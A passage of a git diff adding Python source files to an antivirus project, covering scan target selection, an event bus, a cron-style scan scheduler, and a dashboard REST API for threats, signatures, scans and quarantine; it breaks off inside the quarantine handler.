rel in ( + "tmp", "var/tmp", "dev/shm", "usr/local/bin", + "var/spool/cron", "etc/cron.d", "etc/cron.daily", + "var/www", "srv", + ) + if (root / rel).exists() + ] + # Also include the quick-scan list itself if root is /. + if str(root) == "/": + roots = [Path(p) for p in QUICK_SCAN_PATHS if Path(p).exists()] + else: + roots = [root] + + exclude = set(self.config.exclude_paths) + + for r in roots: + if r.is_file(): + targets.append(r) + continue + iterator = r.rglob("*") if recursive else r.iterdir() + try: + for entry in iterator: + if not entry.is_file(): + continue + # Exclude check. + entry_str = str(entry) + if any(entry_str.startswith(ex) for ex in exclude): + continue + try: + if entry.stat().st_size > self.config.max_file_size: + continue + except OSError: + continue + targets.append(entry) + except PermissionError: + logger.warning("Permission denied: %s", r) + + return targets diff --git a/ayn-antivirus/ayn_antivirus/core/event_bus.py b/ayn-antivirus/ayn_antivirus/core/event_bus.py new file mode 100644 index 0000000..a1302b5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/event_bus.py @@ -0,0 +1,119 @@ +"""Simple publish/subscribe event bus for AYN Antivirus. + +Decouples the scan engine from consumers like the CLI, logger, quarantine +manager, and real-time monitor so each component can react to events +independently. +""" + +from __future__ import annotations + +import logging +import threading +from enum import Enum, auto +from typing import Any, Callable, Dict, List + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Event types +# --------------------------------------------------------------------------- +class EventType(Enum): + """All events emitted by the AYN engine.""" + + THREAT_FOUND = auto() + SCAN_STARTED = auto() + SCAN_COMPLETED = auto() + FILE_SCANNED = auto() + SIGNATURE_UPDATED = auto() + QUARANTINE_ACTION = auto() + REMEDIATION_ACTION = auto() + DASHBOARD_METRIC = auto() + + +# Type alias for subscriber callbacks. +Callback = Callable[[EventType, Any], None] + + +# --------------------------------------------------------------------------- +# EventBus +# --------------------------------------------------------------------------- +class EventBus: + """Thread-safe publish/subscribe event bus. + + Usage:: + + bus = EventBus() + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: print(data)) + bus.publish(EventType.THREAT_FOUND, {"path": "/tmp/evil.elf"}) + """ + + def __init__(self) -> None: + self._subscribers: Dict[EventType, List[Callback]] = {et: [] for et in EventType} + self._lock = threading.Lock() + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + def subscribe(self, event_type: EventType, callback: Callback) -> None: + """Register *callback* to be invoked whenever *event_type* is published. + + Parameters + ---------- + event_type: + The event to listen for. + callback: + A callable with signature ``(event_type, data) -> None``. + """ + with self._lock: + if callback not in self._subscribers[event_type]: + self._subscribers[event_type].append(callback) + + def unsubscribe(self, event_type: EventType, callback: Callback) -> None: + """Remove a previously-registered callback.""" + with self._lock: + try: + self._subscribers[event_type].remove(callback) + except ValueError: + pass + + def publish(self, event_type: EventType, data: Any = None) -> None: + """Emit an event, invoking all registered callbacks synchronously. + + Exceptions raised by individual callbacks are logged and swallowed so + that one faulty subscriber cannot break the pipeline. + + Parameters + ---------- + event_type: + The event being emitted. + data: + Arbitrary payload — typically a dataclass or dict. + """ + with self._lock: + callbacks = list(self._subscribers[event_type]) + + for cb in callbacks: + try: + cb(event_type, data) + except Exception: + logger.exception( + "Subscriber %r raised an exception for event %s", + cb, + event_type.name, + ) + + def clear(self, event_type: EventType | None = None) -> None: + """Remove all subscribers for *event_type*, or all subscribers if ``None``.""" + with self._lock: + if event_type is None: + for et in EventType: + self._subscribers[et].clear() + else: + self._subscribers[event_type].clear() + + +# --------------------------------------------------------------------------- +# Module-level singleton +# --------------------------------------------------------------------------- +event_bus = EventBus() diff --git a/ayn-antivirus/ayn_antivirus/core/scheduler.py b/ayn-antivirus/ayn_antivirus/core/scheduler.py new file mode 100644 index 0000000..15cce61 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/scheduler.py @@ -0,0 +1,215 @@ +"""Scheduler for recurring scans and signature updates. + +Wraps the ``schedule`` library to provide cron-like recurring tasks that +drive the :class:`ScanEngine` and signature updater in a long-running +daemon loop. +""" + +from __future__ import annotations + +import logging +import time +from typing import Optional + +import schedule + +from ayn_antivirus.config import Config +from ayn_antivirus.core.engine import ScanEngine, ScanResult +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Cron expression helpers +# --------------------------------------------------------------------------- + +def _parse_cron_field(field: str, min_val: int, max_val: int) -> list[int]: + """Parse a single cron field (e.g. ``*/5``, ``1,3,5``, ``0-23``, ``*``). + + Returns a sorted list of matching integer values. + """ + values: set[int] = set() + + for part in field.split(","): + part = part.strip() + + # */step + if part.startswith("*/"): + step = int(part[2:]) + values.update(range(min_val, max_val + 1, step)) + # range with optional step (e.g. 1-5 or 1-5/2) + elif "-" in part: + range_part, _, step_part = part.partition("/") + lo, hi = range_part.split("-", 1) + step = int(step_part) if step_part else 1 + values.update(range(int(lo), int(hi) + 1, step)) + # wildcard + elif part == "*": + values.update(range(min_val, max_val + 1)) + # literal + else: + values.add(int(part)) + + return sorted(values) + + +def _cron_to_schedule(cron_expr: str) -> dict: + """Convert a 5-field cron expression into components. + + Returns a dict with keys ``minutes``, ``hours``, ``days``, ``months``, + ``weekdays`` — each a list of integers. + + Only *minute* and *hour* are used by the ``schedule`` library adapter + below; the rest are validated but not fully honoured (``schedule`` lacks + calendar-level granularity). + """ + parts = cron_expr.strip().split() + if len(parts) != 5: + raise ValueError(f"Expected 5-field cron expression, got: {cron_expr!r}") + + return { + "minutes": _parse_cron_field(parts[0], 0, 59), + "hours": _parse_cron_field(parts[1], 0, 23), + "days": _parse_cron_field(parts[2], 1, 31), + "months": _parse_cron_field(parts[3], 1, 12), + "weekdays": _parse_cron_field(parts[4], 0, 6), + } + + +# --------------------------------------------------------------------------- +# Scheduler +# --------------------------------------------------------------------------- + +class Scheduler: + """Manages recurring scan and update jobs. + + Parameters + ---------- + config: + Application configuration — used to build a :class:`ScanEngine` and + read schedule expressions. + engine: + Optional pre-built engine instance. If ``None``, one is created from + *config*. + """ + + def __init__(self, config: Config, engine: Optional[ScanEngine] = None) -> None: + self.config = config + self.engine = engine or ScanEngine(config) + self._scheduler = schedule.Scheduler() + + # ------------------------------------------------------------------ + # Job builders + # ------------------------------------------------------------------ + + def schedule_scan(self, cron_expr: str, scan_type: str = "full") -> None: + """Schedule a recurring scan using a cron expression. + + Parameters + ---------- + cron_expr: + Standard 5-field cron string (``minute hour dom month dow``). + scan_type: + One of ``"full"``, ``"quick"``, or ``"deep"``. + """ + parsed = _cron_to_schedule(cron_expr) + + # ``schedule`` doesn't natively support cron, so we approximate by + # scheduling at every matching hour:minute combination. For simple + # expressions like ``0 2 * * *`` this is exact. + for hour in parsed["hours"]: + for minute in parsed["minutes"]: + time_str = f"{hour:02d}:{minute:02d}" + self._scheduler.every().day.at(time_str).do( + self._run_scan, scan_type=scan_type + ) + logger.info("Scheduled %s scan at %s daily", scan_type, time_str) + + def schedule_update(self, interval_hours: int = 6) -> None: + """Schedule recurring signature updates. + + Parameters + ---------- + interval_hours: + How often (in hours) to pull fresh signatures. + """ + self._scheduler.every(interval_hours).hours.do(self._run_update) + logger.info("Scheduled signature update every %d hour(s)", interval_hours) + + # ------------------------------------------------------------------ + # Daemon loop + # ------------------------------------------------------------------ + + def run_daemon(self) -> None: + """Start the blocking scheduler loop. + + Runs all pending jobs and sleeps between iterations. Designed to be + the main loop of a background daemon process. + + Press ``Ctrl+C`` (or send ``SIGINT``) to exit cleanly. + """ + logger.info("AYN scheduler daemon started — %d job(s)", len(self._scheduler.get_jobs())) + + try: + while True: + self._scheduler.run_pending() + time.sleep(30) + except KeyboardInterrupt: + logger.info("Scheduler daemon stopped by user") + + # ------------------------------------------------------------------ + # Job implementations + # ------------------------------------------------------------------ + + def _run_scan(self, scan_type: str = "full") -> None: + """Execute a scan job.""" + logger.info("Starting scheduled %s scan", scan_type) + try: + if scan_type == "quick": + result: ScanResult = self.engine.quick_scan() + else: + # "full" and "deep" both scan all paths; deep adds process/network + # via full_scan on the engine, but here we keep it simple. + result = ScanResult() + for path in self.config.scan_paths: + partial = self.engine.scan_path(path, recursive=True) + result.files_scanned += partial.files_scanned + result.files_skipped += partial.files_skipped + result.threats.extend(partial.threats) + + logger.info( + "Scheduled %s scan complete — %d files, %d threats", + scan_type, + result.files_scanned, + len(result.threats), + ) + except Exception: + logger.exception("Scheduled %s scan failed", scan_type) + + def _run_update(self) -> None: + """Execute a signature update job.""" + logger.info("Starting scheduled signature update") + try: + from ayn_antivirus.signatures.manager import SignatureManager + + manager = SignatureManager(self.config) + summary = manager.update_all() + total = summary.get("total_new", 0) + errors = summary.get("errors", []) + logger.info( + "Scheduled signature update complete: %d new, %d errors", + total, + len(errors), + ) + if errors: + for err in errors: + logger.warning("Feed error: %s", err) + manager.close() + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "total_new": total, + "feeds": list(summary.get("feeds", {}).keys()), + "errors": errors, + }) + except Exception: + logger.exception("Scheduled signature update failed") diff --git a/ayn-antivirus/ayn_antivirus/dashboard/__init__.py b/ayn-antivirus/ayn_antivirus/dashboard/__init__.py new file mode 100644 index 0000000..1f58d0a --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/__init__.py @@ -0,0 +1,7 @@ +"""AYN Antivirus - Live Web Dashboard.""" + +from ayn_antivirus.dashboard.collector import MetricsCollector +from ayn_antivirus.dashboard.server import DashboardServer +from ayn_antivirus.dashboard.store import DashboardStore + +__all__ = ["DashboardServer", "DashboardStore", "MetricsCollector"] diff --git a/ayn-antivirus/ayn_antivirus/dashboard/api.py b/ayn-antivirus/ayn_antivirus/dashboard/api.py new file mode 100644 index 0000000..2e80ec5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/api.py @@ -0,0 +1,1159 @@ +"""AYN Antivirus Dashboard — REST API Handlers.""" + +from __future__ import annotations + +import asyncio +import json +import logging +import platform +import time +from datetime import datetime + +from aiohttp import web + +logger = logging.getLogger("ayn_antivirus.dashboard.api") + + +def setup_routes(app: web.Application) -> None: + """Register all API routes on the aiohttp app.""" + app.router.add_get("/api/health", handle_health) + app.router.add_get("/api/status", handle_status) + app.router.add_get("/api/threats", handle_threats) + app.router.add_get("/api/threat-stats", handle_threat_stats) + app.router.add_get("/api/scans", handle_scans) + app.router.add_get("/api/scan-chart", handle_scan_chart) + app.router.add_get("/api/quarantine", handle_quarantine) + app.router.add_get("/api/signatures", handle_signatures) + app.router.add_get("/api/sig-updates", handle_sig_updates) + app.router.add_get("/api/definitions", handle_definitions) + app.router.add_get("/api/logs", handle_logs) + app.router.add_get("/api/metrics-history", handle_metrics_history) + # Action endpoints + app.router.add_post("/api/actions/quick-scan", handle_action_quick_scan) + app.router.add_post("/api/actions/full-scan", handle_action_full_scan) + app.router.add_post("/api/actions/update-sigs", handle_action_update_sigs) + app.router.add_post("/api/actions/update-feed", handle_action_update_feed) + # Threat action endpoints + app.router.add_post("/api/actions/quarantine", handle_action_quarantine) + app.router.add_post("/api/actions/delete-threat", handle_action_delete_threat) + app.router.add_post("/api/actions/whitelist", handle_action_whitelist) + app.router.add_post("/api/actions/restore", handle_action_restore) + app.router.add_post("/api/actions/ai-analyze", handle_action_ai_analyze) + # Container endpoints + app.router.add_get("/api/containers", handle_containers) + app.router.add_get("/api/container-scan", handle_container_scan_results) + app.router.add_post("/api/actions/scan-containers", handle_action_scan_containers) + app.router.add_post("/api/actions/scan-container", handle_action_scan_single_container) + + +# ------------------------------------------------------------------ +# Helpers +# ------------------------------------------------------------------ + +def _json(data: object, status: int = 200) -> web.Response: + return web.json_response(data, status=status) + + +def _get_ai_analyzer(app): + """Lazy-init the AI analyzer singleton on the app.""" + if "_ai_analyzer" not in app: + from ayn_antivirus.detectors.ai_analyzer import AIAnalyzer + import os + key = os.environ.get("ANTHROPIC_API_KEY", "") + app["_ai_analyzer"] = AIAnalyzer(api_key=key) if key else None + return app.get("_ai_analyzer") + + +def _ai_filter_threats(app, store, threats_data: list) -> list: + """Run AI analysis on detections. Returns only real threats.""" + ai = _get_ai_analyzer(app) + if not ai or not ai.available: + return threats_data # No AI — pass all through + + filtered = [] + for t in threats_data: + verdict = ai.analyze( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=t["severity"], + detector=t["detector"], + confidence=t.get("confidence", 50), + ) + t["ai_verdict"] = verdict.verdict + t["ai_confidence"] = verdict.confidence + t["ai_reason"] = verdict.reason + t["ai_action"] = verdict.recommended_action + + if verdict.is_safe: + store.log_activity( + f"AI dismissed: {t['file_path']} ({t['threat_name']}) — {verdict.reason}", + "INFO", "ai_analyzer", + ) + continue # Skip false positive + + filtered.append(t) + + dismissed = len(threats_data) - len(filtered) + if dismissed: + store.log_activity( + f"AI filtered {dismissed}/{len(threats_data)} false positives", + "INFO", "ai_analyzer", + ) + return filtered + + +def _auto_quarantine(store, vault, file_path: str, threat_name: str, severity: str) -> str: + """Quarantine a file automatically. Returns quarantine ID or empty string.""" + if not vault: + return "" + import os + if not os.path.isfile(file_path): + return "" + try: + qid = vault.quarantine_file( + file_path=file_path, + threat_name=threat_name, + threat_type="auto", + severity=severity, + ) + store.log_activity( + f"Auto-quarantined: {file_path} ({threat_name})", + "WARNING", "quarantine", + ) + return qid + except Exception as exc: + logger.warning("Auto-quarantine failed for %s: %s", file_path, exc) + return "" + + +def _safe_int( + val: str, default: int, min_val: int = 1, max_val: int = 1000, +) -> int: + """Parse an integer query param with clamping and fallback.""" + try: + n = int(val) + return max(min_val, min(n, max_val)) + except (ValueError, TypeError): + return default + + +def _threat_type_str(tt: object) -> str: + """Convert a ThreatType enum (or anything) to a string.""" + return tt.name if hasattr(tt, "name") else str(tt) + + +def _severity_str(sev: object) -> str: + """Convert a Severity enum (or anything) to a string.""" + return sev.name if hasattr(sev, "name") else str(sev) + + +# ------------------------------------------------------------------ +# Read-only endpoints +# ------------------------------------------------------------------ + +async def handle_health(request: web.Request) -> web.Response: + """GET /api/health - System health metrics (live snapshot).""" + collector = request.app["collector"] + snapshot = await asyncio.to_thread(collector.get_snapshot) + return _json(snapshot) + + +async def handle_status(request: web.Request) -> web.Response: + """GET /api/status - Protection status overview.""" + store = request.app["store"] + + def _get() -> dict: + threat_stats = store.get_threat_stats() + scans = store.get_recent_scans(1) + sig_stats = store.get_sig_stats() + latest_metrics = store.get_latest_metrics() + + quarantine_count = 0 + try: + vault = request.app.get("vault") + if vault: + quarantine_count = vault.count() + except Exception: + pass + + try: + import psutil + uptime_secs = int(time.time() - psutil.boot_time()) + except Exception: + uptime_secs = 0 + + last_scan = scans[0] if scans else None + + return { + "hostname": platform.node(), + "os": f"{platform.system()} {platform.release()}", + "arch": platform.machine(), + "uptime_seconds": uptime_secs, + "protection_active": True, + "last_scan": last_scan, + "threats": threat_stats, + "signatures": sig_stats, + "quarantine_count": quarantine_count, + "metrics": latest_metrics, + "server_time": datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_threats(request: web.Request) -> web.Response: + """GET /api/threats?limit=50 - Recent threats list.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "50"), 50, max_val=500) + threats = await asyncio.to_thread(store.get_recent_threats, limit) + return _json({"threats": threats, "count": len(threats)}) + + +async def handle_threat_stats(request: web.Request) -> web.Response: + """GET /api/threat-stats - Threat statistics.""" + store = request.app["store"] + stats = await asyncio.to_thread(store.get_threat_stats) + return _json(stats) + + +async def handle_scans(request: web.Request) -> web.Response: + """GET /api/scans?limit=30 - Recent scan history.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "30"), 30, max_val=500) + scans = await asyncio.to_thread(store.get_recent_scans, limit) + return _json({"scans": scans, "count": len(scans)}) + + +async def handle_scan_chart(request: web.Request) -> web.Response: + """GET /api/scan-chart?days=30 - Scan history chart data.""" + store = request.app["store"] + days = _safe_int(request.query.get("days", "30"), 30, max_val=365) + data = await asyncio.to_thread(store.get_scan_chart_data, days) + return _json({"chart": data}) + + +async def handle_quarantine(request: web.Request) -> web.Response: + """GET /api/quarantine - Quarantine vault status.""" + vault = request.app.get("vault") + if not vault: + return _json({"count": 0, "items": [], "total_size": 0}) + + def _get() -> dict: + items = vault.list_quarantined() + total_size = sum( + item.get("file_size", 0) or item.get("size", 0) for item in items + ) + return {"count": len(items), "items": items[:20], "total_size": total_size} + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_signatures(request: web.Request) -> web.Response: + """GET /api/signatures - Signature database stats.""" + store = request.app["store"] + + def _get() -> dict: + sig_stats = store.get_sig_stats() + config = request.app.get("config") + if config: + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + hdb = HashDatabase(config.db_path) + hdb.initialize() + idb = IOCDatabase(config.db_path) + idb.initialize() + + sig_stats["db_hash_count"] = hdb.count() + sig_stats["db_hash_stats"] = hdb.get_stats() + sig_stats["db_ioc_stats"] = idb.get_stats() + sig_stats["db_malicious_ips"] = len(idb.get_all_malicious_ips()) + sig_stats["db_malicious_domains"] = len( + idb.get_all_malicious_domains() + ) + hdb.close() + idb.close() + except Exception as exc: + sig_stats["db_error"] = str(exc) + return sig_stats + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_sig_updates(request: web.Request) -> web.Response: + """GET /api/sig-updates?limit=20 - Recent signature update history.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "20"), 20, max_val=200) + updates = await asyncio.to_thread(store.get_recent_sig_updates, limit) + return _json({"updates": updates, "count": len(updates)}) + + +async def handle_definitions(request: web.Request) -> web.Response: + """GET /api/definitions - Full virus definition database view. + + Supports pagination (``page``, ``per_page``), search (``search``), + and type filtering (``type=hash|ip|domain|url``). + """ + store = request.app["store"] + config = request.app.get("config") + page = _safe_int(request.query.get("page", "1"), 1, max_val=10000) + per_page = _safe_int(request.query.get("per_page", "100"), 100, max_val=500) + search = request.query.get("search", "").strip() + filter_type = request.query.get("type", "").strip() + + def _get() -> dict: + result: dict = { + "hashes": [], + "ips": [], + "domains": [], + "urls": [], + "total_hashes": 0, + "total_ips": 0, + "total_domains": 0, + "total_urls": 0, + "page": page, + "per_page": per_page, + "feeds": [], + "last_update": None, + } + + if not config: + return result + + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + hdb = HashDatabase(config.db_path) + hdb.initialize() + idb = IOCDatabase(config.db_path) + idb.initialize() + + offset = (page - 1) * per_page + conn = hdb.conn + + # Hash definitions + if not filter_type or filter_type == "hash": + if search: + rows = conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, " + "added_date, details FROM threats " + "WHERE threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, " + "added_date, details FROM threats " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["hashes"] = [dict(r) for r in rows] + result["total_hashes"] = hdb.count() + + # IP definitions + ioc_conn = idb.conn + if not filter_type or filter_type == "ip": + if search: + rows = ioc_conn.execute( + "SELECT ip, threat_name, type, source, added_date " + "FROM ioc_ips " + "WHERE ip LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT ip, threat_name, type, source, added_date " + "FROM ioc_ips " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["ips"] = [dict(r) for r in rows] + result["total_ips"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_ips" + ).fetchone()[0] + + # Domain definitions + if not filter_type or filter_type == "domain": + if search: + rows = ioc_conn.execute( + "SELECT domain, threat_name, type, source, added_date " + "FROM ioc_domains " + "WHERE domain LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT domain, threat_name, type, source, added_date " + "FROM ioc_domains " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["domains"] = [dict(r) for r in rows] + result["total_domains"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_domains" + ).fetchone()[0] + + # URL definitions + if not filter_type or filter_type == "url": + if search: + rows = ioc_conn.execute( + "SELECT url, threat_name, type, source, added_date " + "FROM ioc_urls " + "WHERE url LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT url, threat_name, type, source, added_date " + "FROM ioc_urls " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["urls"] = [dict(r) for r in rows] + result["total_urls"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_urls" + ).fetchone()[0] + + # Feed info + sig_updates = store.get_recent_sig_updates(20) + result["feeds"] = sig_updates + result["last_update"] = ( + sig_updates[0]["timestamp"] if sig_updates else None + ) + + hdb.close() + idb.close() + except Exception as exc: + result["error"] = str(exc) + logger.error("Error fetching definitions: %s", exc) + + return result + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_logs(request: web.Request) -> web.Response: + """GET /api/logs?limit=20 - Recent activity logs.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "20"), 20, max_val=500) + logs = await asyncio.to_thread(store.get_recent_logs, limit) + return _json({"logs": logs, "count": len(logs)}) + + +async def handle_metrics_history(request: web.Request) -> web.Response: + """GET /api/metrics-history?hours=1 - Metrics time series.""" + store = request.app["store"] + hours = _safe_int(request.query.get("hours", "1"), 1, max_val=168) + data = await asyncio.to_thread(store.get_metrics_history, hours) + return _json({"metrics": data, "count": len(data)}) + + +# ------------------------------------------------------------------ +# Action handlers (trigger scans / updates) +# ------------------------------------------------------------------ + +async def handle_action_quick_scan(request: web.Request) -> web.Response: + """POST /api/actions/quick-scan - Trigger a quick scan.""" + store = request.app["store"] + store.log_activity("Quick scan triggered from dashboard", "INFO", "dashboard") + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.core.engine import ScanEngine + + config = request.app.get("config") or Config() + engine = ScanEngine(config) + result = engine.quick_scan() + + store.record_scan( + scan_type="quick", + scan_path=",".join(config.scan_paths), + files_scanned=result.files_scanned, + files_skipped=result.files_skipped, + threats_found=len(result.threats), + duration=result.duration_seconds, + ) + + # Build detection list for AI analysis + raw_threats = [] + for t in result.threats: + raw_threats.append({ + "file_path": t.path, + "threat_name": t.threat_name, + "threat_type": _threat_type_str(t.threat_type), + "severity": _severity_str(t.severity), + "detector": t.detector_name, + "file_hash": t.file_hash or "", + "confidence": getattr(t, "confidence", 50), + }) + + # AI filters out false positives + verified = _ai_filter_threats(request.app, store, raw_threats) + + vault = request.app.get("vault") + quarantined = 0 + for t in verified: + ai_action = t.get("ai_action", "quarantine") + sev = t["severity"] + qid = "" + if ai_action in ("quarantine", "delete"): + qid = _auto_quarantine(store, vault, t["file_path"], t["threat_name"], sev) + action = "quarantined" if qid else ("monitoring" if ai_action == "monitor" else "detected") + details = t.get("ai_reason", "") + store.record_threat( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=sev, + detector=t["detector"], + file_hash=t.get("file_hash", ""), + action=action, + details=f"[AI: {t.get('ai_verdict','?')} {t.get('ai_confidence',0)}%] {details}", + ) + if qid: + quarantined += 1 + + return { + "status": "completed", + "files_scanned": result.files_scanned, + "threats_found": len(verified), + "ai_dismissed": len(result.threats) - len(verified), + "quarantined": quarantined, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Quick scan failed: %s", exc) + store.log_activity(f"Quick scan failed: {exc}", "ERROR", "dashboard") + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_full_scan(request: web.Request) -> web.Response: + """POST /api/actions/full-scan - Trigger a full scan.""" + store = request.app["store"] + store.log_activity("Full scan triggered from dashboard", "INFO", "dashboard") + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.core.engine import ScanEngine + + config = request.app.get("config") or Config() + engine = ScanEngine(config) + result = engine.full_scan() + + file_result = result.file_scan + store.record_scan( + scan_type="full", + scan_path=",".join(config.scan_paths), + files_scanned=file_result.files_scanned, + files_skipped=file_result.files_skipped, + threats_found=len(file_result.threats), + duration=file_result.duration_seconds, + ) + + raw_threats = [] + for t in file_result.threats: + raw_threats.append({ + "file_path": t.path, + "threat_name": t.threat_name, + "threat_type": _threat_type_str(t.threat_type), + "severity": _severity_str(t.severity), + "detector": t.detector_name, + "file_hash": t.file_hash or "", + "confidence": getattr(t, "confidence", 50), + }) + + verified = _ai_filter_threats(request.app, store, raw_threats) + + vault = request.app.get("vault") + quarantined = 0 + for t in verified: + ai_action = t.get("ai_action", "quarantine") + sev = t["severity"] + qid = "" + if ai_action in ("quarantine", "delete"): + qid = _auto_quarantine(store, vault, t["file_path"], t["threat_name"], sev) + action = "quarantined" if qid else ("monitoring" if ai_action == "monitor" else "detected") + details = t.get("ai_reason", "") + store.record_threat( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=sev, + detector=t["detector"], + file_hash=t.get("file_hash", ""), + action=action, + details=f"[AI: {t.get('ai_verdict','?')} {t.get('ai_confidence',0)}%] {details}", + ) + if qid: + quarantined += 1 + + return { + "status": "completed", + "total_threats": result.total_threats, + "ai_verified": len(verified), + "ai_dismissed": len(raw_threats) - len(verified), + "quarantined": quarantined, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Full scan failed: %s", exc) + store.log_activity(f"Full scan failed: {exc}", "ERROR", "dashboard") + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_update_sigs(request: web.Request) -> web.Response: + """POST /api/actions/update-sigs - Update all threat signature feeds.""" + store = request.app["store"] + store.log_activity( + "Signature update triggered from dashboard", "INFO", "dashboard" + ) + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.signatures.manager import SignatureManager + + config = request.app.get("config") or Config() + manager = SignatureManager(config) + summary = manager.update_all() + + # summary = {"feeds": {name: stats}, "total_new": int, "errors": [...]} + for feed_name, feed_result in summary["feeds"].items(): + if "error" in feed_result: + store.record_sig_update( + feed_name=feed_name, + status="error", + details=feed_result.get("error", ""), + ) + else: + store.record_sig_update( + feed_name=feed_name, + hashes=feed_result.get("hashes", 0), + ips=feed_result.get("ips", 0), + domains=feed_result.get("domains", 0), + urls=feed_result.get("urls", 0), + status="success", + details=json.dumps(feed_result), + ) + + manager.close() + + store.log_activity( + f"Signature update completed: {len(summary['feeds'])} feeds, " + f"{summary['total_new']} new entries", + "INFO", + "signatures", + ) + return { + "status": "completed", + "feeds_updated": len(summary["feeds"]) - len(summary["errors"]), + "total_new": summary["total_new"], + "errors": summary["errors"], + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Signature update failed: %s", exc) + store.log_activity( + f"Signature update failed: {exc}", "ERROR", "signatures" + ) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_update_feed(request: web.Request) -> web.Response: + """POST /api/actions/update-feed - Update a single feed. + + Body: ``{"feed": "malwarebazaar"}`` + """ + store = request.app["store"] + + try: + body = await request.json() + feed_name = body.get("feed", "") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not feed_name: + return _json({"error": "Missing 'feed' parameter"}, 400) + + store.log_activity( + f"Single feed update triggered: {feed_name}", "INFO", "dashboard" + ) + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.signatures.manager import SignatureManager + + config = request.app.get("config") or Config() + manager = SignatureManager(config) + result = manager.update_feed(feed_name) + + store.record_sig_update( + feed_name=feed_name, + hashes=result.get("hashes", 0), + ips=result.get("ips", 0), + domains=result.get("domains", 0), + urls=result.get("urls", 0), + status="success", + details=json.dumps(result), + ) + + manager.close() + return {"status": "completed", "feed": feed_name, "result": result} + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except KeyError as exc: + return _json({"status": "error", "error": str(exc)}, 404) + except Exception as exc: + logger.error("Feed update failed for %s: %s", feed_name, exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +# ------------------------------------------------------------------ +# Threat action handlers (quarantine / delete / whitelist) +# ------------------------------------------------------------------ + +async def handle_action_quarantine(request: web.Request) -> web.Response: + """POST /api/actions/quarantine — Move a file to encrypted quarantine vault. + + Body: ``{"file_path": "/path/to/file", "threat_id": 5}`` + """ + store = request.app["store"] + vault = request.app.get("vault") + if not vault: + return _json({"status": "error", "error": "Quarantine vault not available"}, 500) + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + threat_name = body.get("threat_name", "Unknown") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + import os + if not os.path.exists(file_path): + return {"status": "error", "error": f"File not found: {file_path}"} + + qid = vault.quarantine_file( + file_path=file_path, + threat_name=threat_name, + threat_type="detected", + severity="HIGH", + ) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='quarantined' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Quarantined: {file_path} ({threat_name}) -> {qid}", + "WARNING", "quarantine", + ) + return {"status": "ok", "quarantine_id": qid, "file_path": file_path} + + try: + 